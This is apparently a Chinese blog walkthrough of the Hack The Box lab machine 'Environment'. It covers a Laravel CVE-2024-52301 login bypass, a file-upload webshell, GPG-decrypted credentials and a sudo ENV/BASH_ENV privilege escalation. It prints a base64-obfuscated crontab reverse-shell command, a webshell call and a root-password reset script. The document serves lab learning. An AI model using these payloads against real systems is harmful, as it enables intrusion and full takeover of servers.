HTB靶机 Environment 渗透测试记录

misaka19008 发布于 2025-05-06 117 次阅读 2330 字



目标信息

IP地址:10.129.90.106(多个IP地址)


信息收集

ICMP检测

PING 10.129.108.226 (10.129.108.226) 56(84) bytes of data.
64 bytes from 10.129.108.226: icmp_seq=1 ttl=63 time=345 ms
64 bytes from 10.129.108.226: icmp_seq=2 ttl=63 time=328 ms
64 bytes from 10.129.108.226: icmp_seq=3 ttl=63 time=386 ms
64 bytes from 10.129.108.226: icmp_seq=4 ttl=63 time=286 ms

--- 10.129.108.226 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 286.055/336.175/386.168/35.878 ms

攻击机和靶机间网络连接良好。

防火墙检测

# Nmap 7.95 scan initiated Sun May  4 07:23:32 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.108.226
Nmap scan report for 10.129.108.226
Host is up (0.36s latency).
All 65535 scanned ports on 10.129.108.226 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sun May  4 07:24:20 2025 -- 1 IP address (1 host up) scanned in 47.90 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun May  4 07:40:02 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.108.226
Nmap scan report for 10.129.108.226
Host is up (0.29s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp    open     http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
44755/tcp filtered unknown
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   316.22 ms 10.10.14.1
2   316.40 ms 10.129.108.226

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 07:40:51 2025 -- 1 IP address (1 host up) scanned in 49.07 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun May  4 07:43:16 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.108.226
Warning: 10.129.108.226 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.108.226
Host is up (0.38s latency).
All 65535 scanned ports on 10.129.108.226 are in ignored states.
Not shown: 65285 open|filtered udp ports (no-response), 250 closed udp ports (port-unreach)

# Nmap done at Sun May  4 07:47:24 2025 -- 1 IP address (1 host up) scanned in 248.05 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机运行Debian Linux操作系统,开放了SSHWeb服务,且Web服务主域名为environment.htb


服务探测

SSH服务(22端口)

端口Banner

┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/environment]
└─# nc -nv 10.129.90.106 22
(UNKNOWN) [10.129.90.106] 22 (ssh) open
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5

Web应用程序(80端口)

打开主页:http://environment.htb/

发现站点似乎为一个公益组织的宣传页面,最底部发现一个邮件登记框,随便填写一个邮件地址,点击发送,会显示Email added to the mailing list successfully!字样:

使用Wappalyzer插件判断网站技术栈,发现站点使用了PHP Laravel开发框架:

使用BurpSuite拦截邮箱登记请求包,发现前端向/mailing端点发起了请求:

尝试以GET方式访问/mailing接口,发现站点Laravel框架开启了调试模式:

同时发现Laravel版本为11.30.0PHP版本为8.2.28Laravel框架报错时还泄露了部分源代码。

直接扫描目录:

# Dirsearch started Sun May  4 10:21:11 2025 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://environment.htb -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,xml,json,pdf,pcap

301   169B   http://environment.htb/build    -> REDIRECTS TO: http://environment.htb/build/
200     0B   http://environment.htb/favicon.ico
200     2KB  http://environment.htb/index.php/login/
200     2KB  http://environment.htb/login
200     2KB  http://environment.htb/login/
302   358B   http://environment.htb/logout    -> REDIRECTS TO: http://environment.htb/login
302   358B   http://environment.htb/logout/    -> REDIRECTS TO: http://environment.htb/login
200    24B   http://environment.htb/robots.txt
301   169B   http://environment.htb/storage    -> REDIRECTS TO: http://environment.htb/storage/
405   245KB  http://environment.htb/upload
405   245KB  http://environment.htb/upload/

发现Web服务存在/login接口,尝试访问:

发现网站需要使用电子邮箱和密码登录。打开BurpSuite,随便输入一个登录信息并拦截,查看登录流量:

未发现敏感信息。

尝试联网搜索该版本Laravel框架漏洞,成功发现Laravel 11.x版本存在环境变量覆盖漏洞,编号为CVE-2024-52301Nyamort/CVE-2024-52301

以及Laravel框架处于调试模式时,登录接口的调试报错中可能存在大量敏感信息的问题:【漏洞预警】lavarel框架配置不当导致敏感数据泄露 - FreeBuf网络安全行业门户


渗透测试

Laravel框架综合漏洞利用

在服务探测阶段,我们已经发现站点使用Laravel 11.30.0框架搭建,并开启了调试模式,以及该版本框架存在环境变量覆盖漏洞的事实。现在尝试进行利用。

首先尝试修改登录请求包,把用于记录是否保留登录信息的HTTP POST参数remember的值修改为一个非布尔值字符串test,以此触发报错:

成功触发/login接口报错!同时,我们发现报错页面泄露了部分route/web.php的源代码:

   if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
   }

   if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
       $request->session()->regenerate();
       $request->session()->put('user_id', 1);
       return redirect('/management/dashboard');
   }

   $user = User::where('email', $email)->first();

从代码中,我们可以发现,如果Laravel的环境变量为preprod,那么在使用/login接口进行登录时,程序会不经过用户登录查询流程,直接将Session中的用户ID值赋值为1,随后重定向客户端至管理后台页面/management/dashboard

因此,我们可以利用CVE-2024-52301漏洞,在/login登录接口处修改框架环境变量为preprod,来触发登录绕过漏洞。根据漏洞描述,直接在要访问的URL后加上GET参数--env,即可修改Laravel框架的任意环境变量,例如:

http://127.0.0.1/index?--env=local

此时就将框架的APP_ENV环境变量改为了local

直接再次访问/login接口并打开BurpSuite拦截,输入任意凭据点击登录按钮,随后修改登录流量包,在请求URL后添加--env=preprod参数,触发管理员免密登录机制:

成功登录后台!

头像上传接口漏洞利用

登录后台后,对后台进行信息收集。点击左侧Profile按钮,跳转到了头像管理接口:

尝试点击Choose New Picture按钮,随便挑选了一幅图像上传:

发现头像被上传到了/storage/files/目录。

打开BurpSuite拦截,再次点击Choose New Picture按钮,挑选一份文本文件上传:

发现返回无效文件报错,推测需要上传图片文件,首先尝试在文件头部添加GIF文件头GIF89a

成功上传!尝试将后缀名改为php,发现上传再次失败:

推测网站使用了黑名单机制检测文件后缀名。尝试在文件名末尾加点号绕过(sparkle.php.):

上传成功!

访问木马:http://environment.htb/storage/files/sparkle.php?cmd=id

木马成功运行!直接在攻击机上使用netcat监听443端口,随后使用如下命令添加反弹Shell计划任务:

echo "Ki8xICogKiAqICogL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIvNDQzIDA%2bJjEnCg==" | base64 -d | crontab

成功反弹Shell!!


权限提升

解密GPG加密文件

进入系统后,执行目录信息收集,在hish用户的家目录内发现了一份加密的GPG文件:/home/hish/backup/keyvault.gpg

同时发现当前用户www-data/home/hish/.gnupg目录具有读取权限。直接将该目录复制到/tmp/hish_gnupg

cp -rf /home/hish/.gnupg /tmp/hish_gnupg

随后尝试使用/tmp/hish_gnupgPGP密钥数据库解密keyvault.gpg文件:

gpg --homedir /tmp/hish_gnupg --decrypt /home/hish/backup/keyvault.gpg

成功解密文件并发现密码!

尝试使用如下凭据登录SSH

  • 用户名:hish
  • 密码:marineSPm@ster!!

成功!!

Sudo传递危险环境变量提权

登录hish用户后,使用sudo -l命令查看其sudo权限:

发现当前用户hish可以任意用户身份执行/usr/bin/systeminfo命令,且最关键的是,hish用户被启用了sudo权限env_keep,允许当前用户传递ENVBASH_ENV两个环境变量到sudo目标用户的Shell环境中。

联网查询以上环境变量,发现这两个环境变量的作用为:启动一个非交互式Shell时,执行环境变量中指定的脚本程序;ENV变量被/bin/sh使用,BASH_ENV/bin/bash使用。(参考链接:shell - Treatment of ENV and BASH_ENV in bash running in bash and sh mode - Unix & Linux Stack Exchange

直接创建脚本文件/tmp/changepw.sh

#!/bin/bash
echo "[+] Trying to modify the password of user root ......"
echo "root:Asd310056" | chpasswd

赋予执行权限后,执行如下命令,传递ENVBASH_ENV两个变量到sudo目标用户Shell环境中:

sudo ENV=/tmp/changepw.sh BASH_ENV=/tmp/changepw.sh /usr/bin/systeminfo

随后使用su -命令切换用户:

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2025-05-18